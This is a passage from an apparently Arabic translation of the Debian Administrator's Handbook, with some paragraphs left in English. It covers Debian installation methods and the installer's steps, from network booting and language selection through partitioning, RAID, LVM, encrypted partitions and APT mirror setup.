A more detailed explanation is available in the installation manual. Among other things, it describes an alternative method of preparing a USB key that is more complex, but that allows to customize the installer's default options (those set in the kernel command line).

→ https://www.debian.org/releases/stable/amd64/ch04s03

4.1.3. التثبيت من خلال الإقلاع الشّبكي (Network Booting)

العديد من نُسخ البيوس تسمح بالإقلاع مباشرة من الشبكة عبر تنزيل النواة وصورة قياسية لنظام الملفات. يمكن لهذه الطريقة (نجدها تحت عدة مسميات، مثل PXE أو إقلاع TFTP) إنقاذ الحاسوب إن لم يكن يحوي سواقة CD-ROM، أو كان البيوس لا يستطيع الإقلاع من وسيط كهذا.

تعمل هذه الطريقة على مرحلتين. أولاً يُرسل البيوس (أو بطاقة الشبكة) طلب BOOTP/DHCP أثناء إقلاع الحاسوب، للحصول آليًا على عنوان IP. عندما يرد مخدم BOOTP أو DHCP فإنه ردّه يتضمن اسم ملف بالإضافة لإعدادت الشبكة. بعد ضبط الشبكة يرسل الحاسوب العميل طلب TFTP ‏(Trivial File Transfer Protocol) للحصول على الملف الذي أشير لاسمه سابقًا، لينفذه كمحمّل إقلاع بعد الحصول عليه. يعمل هذا الملف عندئذ على تشغيل برنامج تثبيت دبيان كما لو كان يعمل من قرص صلب أو CD-ROM أو مفتاح USB.

All the details of this method are available in the installation guide (“Preparing files for TFTP Net Booting” section).

→ https://www.debian.org/releases/stable/amd64/ch05s01#boot-tftp-x86

→ https://www.debian.org/releases/stable/amd64/ch04s05

4.1.4. طرائق تثبيت أخرى

When we have to deploy customized installations for a large number of computers, we generally choose an automated rather than a manual installation method. Depending on the situation and the complexity of the installations to be made, we can use FAI (Fully Automatic Installer, described in قسم 12.3.1, “‏Fully Automatic Installer (FAI)‎”), or even a customized installation DVD with preseeding (see قسم 12.3.2, “تغذية مثبت دبيان”).

4.2. التثبيت خطوة بخطوة

4.2.1. الإقلاع ثم تشغيل المُثبّت

بمجرد أن يُقلع البيوس من CD-ROM أو DVD-ROM، تظهر قائمة محمل الإقلاع Isolinux. في هذه المرحلة لا تُحمّل النواة لينكس بعد؛ تسمح هذه القائمة باختيار نواة الإقلاع و إدخال الخيارات الممكنة، التي ستنقل للنواة خلال عملية الإقلاع.

For a standard installation, you only need to choose “Install” or “Graphical install” (with the arrow keys), then press the Enter key to initiate the remainder of the installation process. If the DVD-ROM is a “Multi-arch” disk, and the machine has an Intel or AMD 64-bit processor, those menu options enable the installation of the 64-bit variant (amd64) and the installation of the 32-bit variant remains available in a dedicated sub-menu (“32-bit install options”). If you have a 32-bit processor, you don't get a choice and the menu entries install the 32-bit variant (i386).

التعمق أكثر 32 أو 64 بت؟

The fundamental difference between 32- and 64-bit systems is the size of memory addresses. In theory, a 32-bit system can not work with more than 4 GB of RAM (2³² bytes). In practice, it is possible to work around this limitation by using the 686-pae kernel variant, so long as the processor handles the PAE (Physical Address Extension) functionality. Using it does have a notable influence on system performance, however. This is why it is useful to use the 64-bit mode on a server with a large amount of RAM.

For an office computer (where a few percent difference in performance is negligible), you must keep in mind that some proprietary programs are not available in 64-bit versions. It is technically possible to make them work on 64-bit systems, but you have to install the 32-bit versions of all the necessary libraries (see قسم 5.4.5, “دعم تعدد المعماريات”), and sometimes to use setarch or linux32 (in the util-linux package) to trick applications regarding the nature of the system.

ممارسة عملية التثبيت بجانب نظام ويندوز موجود مسبقًا

إذا كان الحاسوب يعمل مسبقًا بنظام ويندوز، فلا يشترط حذفه لتثبيت دبيان. يمكن استخدام النظامين معًا، كل واحد مُثبّت في قرص أو جزء منفصل، مع إمكانية اختيار النظام المراد تشغيله أثناء إقلاع الحاسوب. غالبًا ما يُطلق على هذا الوضع اسم ”الإقلاع المزودج dual boot“، الذي يمكن إعداده بوساطة نظام تثبيت دبيان أثناء مرحلتي تجزيء القرص الصلب وإعداد محمّل الإقلاع (انظر الملاحظتين الجانبيتين ممارسة عملية تقليص جزء ويندوز وتنبيه مُحمّل الإقلاع والإقلاع المزدوج).

If you already have a working Windows system, you can even avoid using a CD-ROM; Debian offers a Windows program that will download a light Debian installer and set it up on the hard disk. You then only need to reboot the computer and choose between normal Windows boot or booting the installation program. You can also find it on a dedicated website with a rather explicit title…

→ http://ftp.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

أساسيات محمل الإقلاع

The bootloader is a low-level program that is responsible for booting the Linux kernel just after the BIOS passes off its control. To handle this task, it must be able to locate the Linux kernel to boot on the disk. On the i386 and amd64 architectures, the two most used programs to perform this task are LILO, the older of the two, and GRUB, its modern replacement. Isolinux and Syslinux are alternatives frequently used to boot from removable media.

كل مدخلة في القائمة تخفي أمر إقلاع معين، يمكن تخصيصه حسب الحاجة بالضغط على المفتاح TAB وذلك قبل المصادقة على المدخلة ثم الإقلاع. تَعرُضُ المدخلة ”Help“ واجهة سطر الأوامر القديمة، حيث تعرض المفاتيح من F1 إلى F10 شاشات مساعدة مختلفة تُفصّل الخيارات المتنوعة المتاحة في المحثّ (prompt). لن تحتاج لاستخدام هذا الخيار إلا نادراً في حالات خاصة جداً.

يُفصّل الوضع ”expert“ (متاح في القائمة ”Advanced options“) جميع الخيارات الممكنة أثناء عمليّة التثبيت، ويسمح بالتنقل بين مختلف مراحلها دون تشغيلها آليًا على التسلسل. كن حذراً، قد يكون هذا الوضع مربكاً لكثرة خيارات الضبط التي يوفرها.

شكل 4.1. شاشة الإقلاع

Once booted, the installation program guides you step by step throughout the process. This section presents each of these steps in detail. Here we follow the process of an installation from an amd64 DVD-ROM (more specifically, the rc1 version of the installer for Buster); netinst installations, as well as the final release of the installer, may look slightly different. We will also address installation in graphical mode, but the only difference from “classic” (text-mode) installation is in the visual appearance.

4.2.2. اختيار اللغة

يبدأ برنامج التثبيت بالإنكليزية، لكن تسمح الخطوة الأولى للمستخدم باختيار اللغة التي ستستخدم في بقية العملية. اختيار العربية مثلاً، سيوفر واجهة تثبيت مترجمة كليًا للعربية (بالإضافة لنظام مُعدّ باللغة العربية عند انتهاء التثبيت). يُستخدم هذا الخيار أيضًا لتحديد خيارات افتراضية مناسبة في المراحل اللاحقة (لا سيّما تخطيط لوحة المفاتيح).

أساسيات التجوّل باستخدام لوحة المفاتيح

تتطلب بعض خطوات عملية التثبيت إدخال معلومات. تحوي هذه الشاشات عدة مناطق يمكن ”التركيز“ عليها (مناطق لإدخال النص، وخانات للتأشير، ولوائح خيارات، وأزرار الموافقة والإلغاء)، يسمح لك المفتاح TAB بالتنقل بينها.

يمكن استخدام الفأرة في الوضع الرسومي مثلما تستخدم في سطح المكتب.

شكل 4.2. اختيار اللغة

4.2.3. اختيار البلد

الخطوة الثانية هي اختيار البلد. تسمح هذه المعلومة بالإضافة للغة المختارة لبرنامج التثبيت باقتراح تخطيط لوحة المفاتيح المناسب. كما تؤثر على اختيار المنطقة الزمنية. في حالة اختيار اللغة العربية وبلد من المنطقة العربية، التخطيط العربي هو المُقترح لأغلب البلدان، لكن تخطيط QWERTY المعياري (الأمريكي) هو المستخدم افتراضيًا، يمكن التبديل بينه وبين التخطيط العربي باستخدام الزر Alt+Shift أو إحدى التركيبات الأخرى التي يقترحها المُثبّت. كما يقترح المُثبّت أيضاً منطقة زمنية تناسب البلد المختار.

شكل 4.3. اختيار البلد

4.2.4. اختيار تخطيط لوحة المفاتيح

لوحة المفاتيح ”العربية“ المقترحة تتوافق مع التخطيط Arabic QWERTY.

شكل 4.4. اختيار لوحة مفاتيح

4.2.5. اكتشاف العتاد

هذه الخطوة آلية بالكامل في أغلب الحالات. يكشف المُثبّت العتاد، ويحاول التعرّف على سواقة الأقراص المستخدمة حتى يتمكن من الوصول لمحتواها. يُحمّل المُثبّت الوحدات الموافقة لمكونات العتاد المُكتشَف، ثم ”يربط“ (mount) قرص CD-ROM لقراءته. بما أن الخطوات السابقة محتواة بالكامل في صورة الإقلاع المضمنة على القرص، يُحمّل البيوس ملفًا محدود الحجم إلى الذاكرة أثناء الإقلاع من القرص.

The installer can work with the vast majority of drives, especially standard ATAPI peripherals (sometimes called IDE and EIDE). However, if detection of the CD-ROM reader fails, the installer offers the choice to load a kernel module (for instance, from a USB key) corresponding to the CD-ROM driver.

4.2.6. تحميل المكوّنات

بما أن الوصول لمحتويات القرص أصبح ممكنًا، يُحمّل المُثبّت كل الملفات الضرورية لمواصلة العملية. يشمل هذا التعريفات (drivers) الإضافية لبقية العتاد (خاصة بطاقة الشبكة)، باﻹضافة إلى جميع مكوّنات برنامج التثبيت.

4.2.7. كشف العتاد الشّبكي

يحاول المُثبّت من خلال هذه الخطوة الآلية التعرّف على بطاقة الشبكة وتحميل الوحدة الملائمة لها. إذا فشلت عملية الاكتشاف الآلي، فيمكن اختيار وتحميل الوحدة يدويًا. إذا لم تعمل أي من الوحدات المتوفرة، يمكن تحميل وحدة مناسبة من جهاز قابل للإزالة. لن تحتاج إلى هذا الحل الأخير عادة إلا إذا لم يكن التعريف المطلوب مُضمنًا في نواة لينكس المعيارية، لكنه متوفر في مكان آخر، مثل موقع الشركة المصنِّعة.

من الضروري أن تنجح هذه الخطوة بالنسبة للتثبيت netinst الشبكي، لأن حزم دبيان يجب أن تُحمّل من الشبكة.

4.2.8. ضبط الشبكة

لتكون العملية آلية قدر الإمكان، يحاول المُثبّت ضبط الشبكة آليًا بوساطة DHCP (بالنسبة لشبكات IPv4) أو بوساطة اكتشاف الشبكة (network discovery) في IPv6. إذا فشلت هذه العملية، تُقترح المزيد من الخيارات: محاولة تهيئة الشبكة آليًا مجدّدًا، أو محاولة تهيئة الشبكة آليًا مجدّدًا مع اسم مضيف DHCP أو هيّء الشبكة يدويًا.

الخيار الأخير يتطلب تحديد عنوان IP للحاسوب، وsubnet mask (قناع شبكة فرعية)، وعنوان IP للبوابة في حال وجودها، واسم للحاسوب واسم النطاق.

تلميح الضبط دون DHCP

إن كانت الشبكة المحلية مُجهّزة بمخدم DHCP ولا تريد استخدامه لأنك تُفضّل تحديد عنوان ثابت للحاسوب أثناء التثبيت، يمكن إضافة الخيار netcfg/use_dhcp=false عند الإقلاع من القرص. عليك فقط تحديد المدخلة المرغوبة من القائمة بالضغط على المفتاح TAB وإضافة الخيار المرغوب ثمّ الضغط على المفتاح Enter.

تنبيه لا ترتجل

ترتكز العديد من الشبكات المحلية على افتراض ضمني يتمثل في الثقة بجميع الأجهزة، أيُّ إعداد غير ملائم لأحد الحواسيب سوف يسبب اضطراب الشبكة بالكامل غالباً. لذلك، لا تصل حاسوبك بشبكة ما دون أن تتفق مُسبقًا مع مديرها على الإعدادات المناسبة (مثلاً، عنوان IP، وقناع الشبكة، وعنوان البث).

4.2.9. كلمة سرّ المدير

The super-user root account, reserved for the machine's administrator, is automatically created during installation; this is why a password is requested. The installer also asks for a confirmation of the password to prevent any input error which would later be difficult to amend. Note that you can leave both fields empty if you want the root account to be disabled. In that case, the first regular user — that will be created by the installer in the next step — will have administrative rights through sudo (see قسم 8.9.4, “تشارك صلاحيات الإدارة”).

أمن كلمة سرّ المدير

The root user's password should be long (12 characters or more) and impossible to guess. Indeed, any computer (and a fortiori any server) connected to the Internet is regularly targeted by automated connection attempts with the most obvious passwords. Sometimes it may even be subject to dictionary attacks, in which many combinations of words and numbers are tested as password. Avoid using the names of children or parents, dates of birth, etc.: many of your co-workers might know them, and you rarely want to give them free access to the computer in question.

هذه الملاحظات تنطبق أيضًا على كلمات سر المستخدمين الآخرين، لكن العواقب المترتبة عن الحسابات المكشوفة أقل خطورة بالنسبة للمستخدمين الذين لا يتمتعون بصلاحيات إدارية.

إذا افتقدت للإلهام أثناء اختيار كلمة سرّ، لا تتردد في استخدام مولِّد كلمات سرّ مثل pwgen (متوفر في الحزمة التي تحمل الاسم نفسه).

شكل 4.5. كلمة سرّ المدير

4.2.10. إنشاء المستخدم الأول

يَفْرِضُ دبيان أيضًا إنشاء حساب مستخدم عادي لكي لا يعتاد مدير النظام على عادة العمل بصلاحيات الجذر السيئة. المبدأ الوقائي يعني أساسًا أنه يجب إجراء كل مَهمّة بأدنى حد من الصلاحيات، للحد من الضرر الناجم عن الخطأ البشري. لهذا يطلب المُثبّت الاسم الكامل، واسم المستخدم وكلمة السرّ (مرتين، لتجنب أخطاء الإدخال) للمستخدم الأول.

شكل 4.6. اسم المستخدم الأول

4.2.11. ضبط الساعة

إذا كان الاتصال بالشبكة متوفراً، فإن الساعة الداخلية للنظام تُحدّث (لحظيًا وبدقّة) عبر مخدم NTP. بهذه الطريقة تكون الأختام الزمنية في السجلات دقيقة منذ الإقلاع الأول. وحتى تبقى كذلك مع مرور الزمن، يجب إعداد خدمة NTP بعد التثبيت الأولي. (انظر قسم 8.9.2, “مزامنة التوقيت”).

4.2.12. اكتشاف الأقراص والأجهزة الأخرى

تكتشفُ هذه الخطوة الأقراص الصلبة التي يمكن تثبيت دبيان عليها آليًا. تُعرض الأقراص في الخطوة التالية: التجزيء.

4.2.13. بدء أداة التجزيء

ثقافة استخدامات التجزيء

التّجزيء (أو التقسيم partitioning)، وهو خطوة لا مفر منها في عملية التثبيت، تتمثل في تجزيء المساحة المتوفرة على الأقراص الصلبة (كل قسيم يسمى ”جزء partition“) حسب البيانات التي سيتم تخزينها وحسب الطريقة التي تنوي استخدام الحاسوب بها. تتضمن هذه الخطوة أيضًا اختيار نظام الملفات المرغوب. جميع هذه القرارات لها تأثير على الأداء، وأمان البيانات، وإدارة المخدم.

خطوة التجزيء في العادة صعبة على المستخدمين المبتدئين، لضرورة تحديد مختلف الأجزاء (أو ”الأقسام partitions“) التي ستستضيف نظام ملفات لينكس والذاكرة الظاهرية (swap). تزداد هذه المَهمّة تعقيدًا في حالة وجود نظام آخر تريد الإحتفاظ به، حيث يتعين عليك الحرص على عدم تغيير الأجزاء المخصصة له (أو أن تعيد تحجيمها دون الإضرار بها).

لحسن الحظ، يحوي برنامج التجزيء وضع تقسيم ”موجّه guided“ يقترح على المستخدم الأجزاء التي يجب إنشائها — في معظم الحالات، يمكنك ببساطة الموافقة على هذه الاقتراحات.

شكل 4.7. اختيار وضع التجزيء

The first screen in the partitioning tool offers the choice of using an entire hard drive to create various partitions. For a (new) computer which will solely use Linux, this option is clearly the simplest, and you can choose the option “Guided - use entire disk”. If the computer has two hard drives for two operating systems, setting one drive for each is also a solution that can facilitate partitioning. In both of these cases, the next screen offers to choose the disk where Linux will be installed by selecting the corresponding entry (for example, “SCSI1 (0,0,0) (sda) - 21.5 GB ATA QEMU HARDDISK”). You then start guided partitioning.

شكل 4.8. القرص المستخدم للتجزيء الموجّه

يستطيع للتجزيء الموجّه أيضًا إعداد كتل LVM منطقية (أو الحيّزات volumes) بدلاً من الأجزاء (انظر أدناه). بما أن تتمة العملية هي نفسها فلن نتطرق بالتفصيل للخيار ”موجّه - استخدام القرص بأكمله وإعداد الكتل المنطقية“ (مُعمّاة أو غير معمّاة).

في حالات أخرى، عندما يتعيّن على لينكس العمل بجوار أجزاء موجودة مسبقًا، عليك اختيار التجزيء اليدوي.

4.2.13.1. التجزيء الموجّه

توفر أداة التجزيء الموجّه ثلاث طرق للتجزيء توافق الاستخدامات المختلفة.

شكل 4.9. التجزيء الموجّه

تسمى الطريقة الأولى ”جميع الملفّات في جزء واحد“. تُخزَّنُ شجرة نظام لينكس كاملةً في نظام ملفات وحيد، يُمثّل المجلد (directory) الجذر /. يتناسب هذا التجزيء البسيط والمتين مع الحواسب الشخصية أو الأنظمة ذات مستخدم وحيد. في الواقع، سينشأ جزئين: الأول سيستضيف النظام كاملاً، والثاني للذاكرة الظاهرية (swap).

The second method, “Separate /home partition”, is similar, but splits the file hierarchy in two: one partition contains the Linux system (/), and the second contains “home directories” (meaning user data, in files and subdirectories available under /home/).

الطريقة الأخيرة للتجزيء، المسماة ”الأجزاء /home و/var و/tmp منفصلة“ ملائمة للمخدمات والأنظمة متعددة المستخدمين وتتمثل في تجزيء شجرة الملفات إلى عدة أجزاء: بالإضافة لجزء الجذر (/) وجزء حسابات المستخدمين (/home/)، توفر أيضًا جزءًا لبيانات برمجيات المخدم (/var/) وللملفات المؤقتة (/tmp/). لهذه الأجزاء العديد من المزايا، حيث لا يمكن للمستخدمين عرقلة المخدم بسبب استنفاد مساحة القرص الصلب (يمكنهم فقط تعبئة /tmp/ و/home/). كما أن بيانات الخدمات (daemon data)، وخصوصًا السجلات، لن تتمكن من إعاقة باقي النظام.

أساسيات اختيار نظام ملفات

A filesystem defines the way in which data is organized on the hard drive. Each existing filesystem has its merits and limitations. Some are more robust, others more effective: if you know your needs well, choosing the most appropriate filesystem is possible. Various comparisons have already been made; it seems that ReiserFS is particularly efficient for reading many small files; XFS, in turn, works faster with large files. Ext4, the default filesystem for Debian, is a good compromise, based on the three previous versions of filesystems historically used in Linux (ext, ext2 and ext3). Ext4 overcomes certain limitations of ext3 and is particularly appropriate for very large capacity hard drives. Another option would be to experiment with the very promising btrfs, which includes numerous features that require, to this day, the use of LVM and/or RAID.

تتخذ أنظمة الملفات السجليّة (journalized filesystem) (مثل ext3 وext4 وbtrfs وreiserfs وxfs) تدابير خاصة لضمان العودة إلى حالة سليمة سابقة بعد المقاطعات المفاجئة دون الحاجة إلى تحليل كامل القرص (كما كان الحال مع نظام ext2). تتمّ هذه الوظيفة عن طريق كتابة سجل يحدد العمليات التي ستُجرَى قبل تنفيذها فعليًا. في حال مقاطعة عملية ما، سيمكن ”إعادة تشغيلها“ (replay) من السجل. وعلى العكس، إذا حدث توقّف أثناء تحديث السجل، فسوف يُهمَل الطلب الأخير: قد تضيع البيانات التي كانت قيد الكتابة، لكن بما أن البيانات الموجودة سابقًا على القرص لم تتغيَّر، فسوف تبقى سليمة. هذه مجرد آلية تداول (transaction mechanism) مطبقة على نظام الملفات لا أكثر ولا أقل.

بعد اختيار نوع القسم، يُقدّر البرنامج مقترحًا ويعرض تفاصيله على الشاشة ويسمح للمستخدم بتعديله إذا لزم الأمر، بما في ذلك اختيار نظام ملفات آخر إذا كان الاختيار القياسي (ext4) غير مناسب. في أغلب الحالات يكون التجزيء المقترح معقولاً، ويمكن المصادقة عليه باختيار ”إنهاء التجزئة وكتابة التغييرات إلى القرص“.

شكل 4.10. المصادقة على التجزيء

4.2.13.2. التجزيء اليدوي

يتيح التجزيء اليدوي قدرًا أكبر من المرونة عبر السماح للمستخدم باختيار حجم ووظيفة كل جزء. إضافة إلى ذلك فإن هذا الوضع مُحَتّم إن كنت ترغب باستخدام RAID برمجي.

ممارسة عملية تقليص جزء ويندوز

لتثبيت دبيان بجانب نظام موجود مسبقًا (ويندوز أو غيره)، يجب أن تملك مساحة على القرص الصلب لا يستخدمها هذا النظام، حتى تنشئ فيها أجزاء مخصصة لدبيان. في أغلب الحالات، ستحتاج لتقليص جزء ويندوز وإعادة استخدام المساحة المُحرّرة.

The Debian installer allows this operation when using the manual mode for partitioning. You only need to choose the Windows partition and enter its new size (this works the same with both unencrypted FAT and NTFS partitions).

If Windows is using BitLocker-encrypted partitions, the steps to resize them requires to use the BitLocker Management together with the Windows Disk Management tool.

تعرض الشاشة الأولى الأقراص المتوفرة وأجزائها والمساحة الحرة التي لم تُقسّم بعد. يمكن اختيار كل عنصر معروض؛ ثم الضغط على مفتاح Enter للحصول على قائمة الإجراءات الممكنة.

يمكنك مسح كافة أجزاء القرص عندما تختاره.

عند اختيار المساحة الحرة للقرص، يمكن إنشاء قسم جديد يدويًا. التجزيء الموجّه يقوم بالشيء نفسه، وهو حل جيّد بالنسبة لقرص يحوي مسبقًا نظام تشغيل آخر، لكنك تريد تجزيئه لنظام لينكس بالطريقة المعيارية. انظر قسم 4.2.13.1, “التجزيء الموجّه” لمزيد من التفاصيل عن التجزيء المُوجَّه.

أساسيات نقطة الربط

نقطة الربط (mount) هي مجلد من شجرة الملفات يستضيف محتوى نظام ملفات الجزء المربوط. وبالتالي، يستخدم الجزء المرتبط مع /home/ لتخزين بيانات المستخدمين تقليدياً.

إذا كان اسم هذا المجلد ”/“، فهو يدعى جذر شجرة الملفات، أي أنه يُمثّل جذر الجزء الذي سيستضيف نظام دبيان فعلياً.

أساسيات الذاكرة الظاهرية، swap

Virtual memory allows the Linux kernel, when lacking sufficient memory (RAM), to free a bit of memory by storing the parts of the RAM that have been inactive for some time on the swap partition of the hard disk.

لمحاكاة الذاكرة الإضافية، يستخدم ويندوز ملف إبدال موجود مباشرة في نظام الملفات. أما لينكس فهو يستخدم جزء مخصص لهذا الغرض، ومن هنا يأتي مصطلح ”جزء الإبدال swap partition“.

عندما تختار جزءًا، يمكنك تحديد كيفية استخدامه:

تهيئته وتضمينه في شجرة الملفات عن طريق اختيار نقطة الربط (mount point)؛

استخدامه كجزء إبدال؛

إنشاء ”حجم حقيقي مُعمّى“ (وذلك لحماية سرّية البيانات على أجزاء معينة، انظر أدناه)؛

إنشاء ”حجم حقيقي مُعمّى لـ LVM“ (سيفَصّل هذا المفهوم أكثر لاحقًا في هذا الفصل)؛

استخدامه كجهاز RAID (انظر لاحقًا في هذا الفصل)؛

أو يمكنك أن تختار عدم استخدامه أيضاً، وبالتالي يبقى دون تغيير.

4.2.13.3. ضبط أجهزة الأقراص المتعددة (Software RAID)

تسمح بعض أنواع RAID بمضاعفة المعلومات المخزّنة في الأقرص الصلبة لتجنب ضياع البيانات في حالة حدوث مشكلة في العتاد قد تؤثر على أحد الأقراص. يحتفظ مستوى RAID الأول بنسخة بسيطة مطابقة (مرآة) للقرص الصلب على قرص آخر، بينما يوزّعمستوى RAID الخامس بيانات فائضة (redundant) على عدة أقراص، تسمح بإعادة بناء أي قرص معطوب.

سنتطرّق فقط للمستوى الأول، لأنه الأسهل في التطبيق. تتطلب الخطوة الأولى إنشاء جزئين بنفس الحجم على قرصين صلبين مختلفين وتسميتهما ”physical volume for RAID“.

بعدها يجب اختيار ”تهيئة RAID برمجي“ في أداة التجزيء لدمج القرصين في قرص ظاهري واحد ثم اختيار ”إنشاء جهاز MD“ في شاشة الضبط والإجابة على سلسلة من الأسئلة متعلقة بالجهاز الجديد. السؤال الأول متعلق بمستوى RAID المطلوب استخدامه، وهو ”RAID1“ في حالتنا هذه. السؤال الثاني عن عدد اﻷجهزة الفعالة — اثنان في حالتنا هذه، وهو عدد الأجزاء التي يجب تضمينها في جهاز MD هذا. أما السؤال الثالث فهو عن عدد الأجهزة الاحتياطية — 0 في حالتنا؛ فنحن لم نُخطّط لإضافة أي قرص زائد يمكن أن يعوض عن تعطل أحد الأقراص. السؤال الأخير يطلب منك اختيار الأجزاء المخصصة لجهاز RAID — وهما الجزءان اللذان خصصناهما لهذا الغرض في حالتنا (تأكد من اختيار الأجزاء التي تشير بوضوح إلى ”raid“).

عند العودة للقائمة الرئيسية، يظهر قرص ”RAID“ ظاهري جديد، ويُعرض على أنه يحويجزء وحيد لا يمكن حذفه، لكن يمكن اختيار طريقة استخدامه (مثل أي جزء آخر).

نرجو مراجعة قسم 12.1.1, “‏Software RAID” لمزيد من التفاصيل حول وظائف RAID.

4.2.13.4. تهيئة الكتل المنطقية (LVM)

يسمح LVM بإنشاء أجزاء ”ظاهرية“ تمتد على عدة أقراص. المزايا مضاعفة حيث أن حجم الأجزاء لا يبقى محدودًا بأحجام الأقراص المنفردة بل بالحجم الإجمالي للأقراص، مع إمكانية إعادة تحجيم الأجزاء في أي وقت، ربما بعد إضافة قرص إضافي إن دعت الحاجة.

يستخدم LVM اصطلاحات خاصة: الجزء الظاهري يدعى ”كتلة منطقية logical volume“، وهي جزء من ”مجموعة كتل volume group“ أو اتحاد عدة ”كتل حقيقية physical volumes“. في الواقع كل مصطلح يشير إلى جزء ”حقيقي“ (أو جهاز RAID برمجي).

هذه التقنية تعمل بطريقة بسيطة: كل كتلة، سواء كانت حقيقة أو منطقية، تقسم إلى أقسام (block) من نفس الحجم ومتوافقة فيما بينها بواسطة LVM. إضافة قرص جديد سيترتب عنه إنشاء كتلة حقيقية، والأقسام الجديدة يمكن أن تتّحد مع أي مجموعة من الكتل. جميع أجزاء مجموعة الكتل التي ستوسَّع ستكسب مساحة إضافية للتمدّد.

تُهيّئ أداة التجزيء LVM في عدة خطوات. أولاً يجب إنشاء الأجزاء على القرص الموجود التي ستمثل ”كتل LVM الحقيقية“. لتفعيل LVM يجب اختيار ”تهيئة مدير الكتل المنطقية (LVM)“ ثم اختر من شاشة الضبط نفسها ”إنشاء مجموعة كتل“، وهذه هي المجموعة التي ستربط الكتل الحقيقية. أخيرًا يمكن إنشاء كتل منطقية ضمن مجموعة الكتل هذه. خُذ بعينالاعتبار أن نظام التجزيء الآلي يمكن أن يقوم بكل هذه الخطوات.

في قائمة التجزيء، كل كتلة حقيقية ستظهر على أنها قرص بجزء واحد لا يمكن حذفه، لكن يمكن استخدامه على النحو المرغوب.

استخدامات LVM مُفصّلة أكثر في قسم 12.1.2, “LVM”.

4.2.13.5. إعداد الأجزاء المعمّاة

لضمان سرية البيانات، مثلاً في حالة ضياع أو سرقة الحاسوب أو القرص الصلب، يمكن تعمية (أو تشفير، encrypt) بيانات بعض الأجزاء. يمكن إضافة هذه الميزة مهما يكن نظام ملفات، ﻷن لينكس (تحديدًا برنامج التعريف dm-crypt) كما LVM يستخدم مخطّط الأجهزة (Device Mapper) لإنشاء جزء ظاهري (محمي المحتوى) مبني فوق جزء آخر تُخزّن عليه البيانات بشكل مُعمّى (بفضل LUKS ‏”Linux Unified Key Setup إعدادات المفاتيح الموحدة للينكس“، وهي صيغة معيارية تسمح بتخزين البيانات المُعمّاة بالإضافة للمعلومات الفوقية التي تشير إلى خوارزميات التّعمية المستخدمة).

أمن تعمية جزء الإبدال

When an encrypted partition is used, the encryption key is stored in memory (RAM). Since retrieving this key allows the decryption of the data, it is of utmost importance to avoid leaving a copy of this key that would be accessible to the possible thief of the computer or hard drive, or to a maintenance technician. This is, however, something that can easily occur with a laptop, since when hibernating the contents of RAM is stored on the swap partition. If this partition isn't encrypted, the thief may access the key and use it to decrypt the data from the encrypted partitions. This is why, when you use encrypted partitions, it is imperative to also encrypt the swap partition!

يُنبّه مُثبّت دبيان المستخدم عتد محاولة إنشاء جزء مُعمّى دون تعمية جزء الإبدال.

لإنشاء جزء مُعمّى، يجب أولاً تحديد قسم متاح لهذا الغرض. للقيام بهذه العملية يجب اختيار الجزء وتحديد أنه سيُستخدم بشكل ”كتلة منطقية للتّعمية“. بعد تجزيء القرص الذي يحوي هذه الكتلة المنطقية، اختر ”تهيئة الكتل المنطقية“، ليقترح برنامج التجزيء تهيئة الكتل الحقيقية باستخدام بيانات عشوائية (ما يجعل تحديد البيانات الحقيقية أكثر صعوبة) ثم سيطلب إدخال ”عبارة سرّ التّعمية (encryption passphrase)“ التي سيُطلَبُ إدخالها عند كل إقلاع للحاسوب للوصول لمحتوى الجزء المُعمّى. بمجرد الإنتهاء من هذه الخطوة والعودة لقائمة أداة التجزيء، سيتوفّر جزء جديد في ”الكتلة المعماة“، الذي يمكن ضبطه كأي جزء آخر. غالبًا ما يُستخدم هذا الجزء كتلةً منطقيةً لـ LVM لحماية عدة أجزاء (كتل LVM المنطقية) بنفس مفتاح التّعمية، وهذا يشمل جزء الإبدال (انظر الملاحظة الجانبية أمن تعمية جزء الإبدال).

4.2.14. تثبيت أساس النظام

خطوة تثبيت حزم ”النظام الجوهري“ (base system) لدبيان لا تتطلب أي تدخل من المستخدم، يشمل هذا الأداتان dpkg وapt اللتان تديران حزم دبيان والأدوات الضرورية لإقلاع النظام واستخدامه.

شكل 4.11. تثبيت النظام الجوهري

4.2.15. ضبط مدير الحزم (apt)

لتثبيت برمجيات إضافية يجب ضبط APT وإرشادها إلى أماكن العثور على حزم دبيان. هذه الخطوة مؤتمتة قدر المستطاع. تبدأ العملية بالسؤال عن ضرورة استخدام مصدر للحزم متوفر على الشبكة، أو البحث عنها فقط على قرص CD-ROM.

ملاحظة قرص دبيان في السواقة

إذا كَشَفَ المثبت وجود قرص تثبيت دبيان في قارئ الأقراص فليس من الضروري ضبط APT للبحث عن الحزم في الشبكة: APT مُعدَّة آليًا لقراءة الحزم من الوسائط القابلة للإزالة. إذا كان القرص جزءًا من مجموعة أقراص، سيعرض البرنامج عليك ”استطلاع“ الأقراص الأخرى لكي يضع جميع الحزم المخزنة عليها في قائمته المرجعية.

إذا طلبت الحصول على الحزم من الشبكة، سوف يسمح السؤالان التاليان باختيار مخدم لتنزيل الحزم منه، عبر تحديد البلد أولاً، ثم اختيار مرآة متوفرة في ذلك البلد (المرآة هي مخدم علني يستضيف نُسخًا من كافة ملفات أرشيف دبيان الرئيسي).

شكل 4.12. اختيار مرآة دبيان

أخيرًا، يقترح البرنامج استخدام بروكسي HTTP. في حال عدم استخدام بروكسي سيكون الوصول للإنترنت مباشرًا. إذا أدخلتَ http://proxy.falcot.com:3128، ستستخدم الأداة APT بروكسي التخبئة proxy/cache الخاص بشركة فلكوت، وهو برنامج ”Squid“. من الممكن العثور على هذه الخيارات عبر فحص إعدادات أحد متصفحات الوِب على حاسوب آخر متصل بالشبكة نفسها.

The files Packages.xz and Sources.xz are then automatically downloaded to update the list of packages recognized by APT.

أساسيات HTTP بروكسي

بروكسي HTTP هو مخدم يعيد توجيه طلبات HTTP التي يرسلها مستخدمو شبكة. يساعد أحيانًا على تسريع عمليات التّنزيل من خلال الاحتفاظ بنسخة من الملفات التي تمرُّ عبره (نتكلم هنا إذن عن بروكسي تخبئة). في بعض الحالات يكون البروكسي هو الوسيلة الوحيدة للوصول لمخدمات الوِب الخارجية؛ وفي تلك الحالات لا بدَّ من الإجابة عن السؤال الخاص بالبروكسي ليتمكن البرنامج من تنزيل حزم دبيان عبره.

سكويد (Squid) هو اسم برنامج المخدم الذي تستخدمه شركة فلكوت لتقديم هذه الخدمة.

4.2.16. مسابقة شعبية حزم دبيان

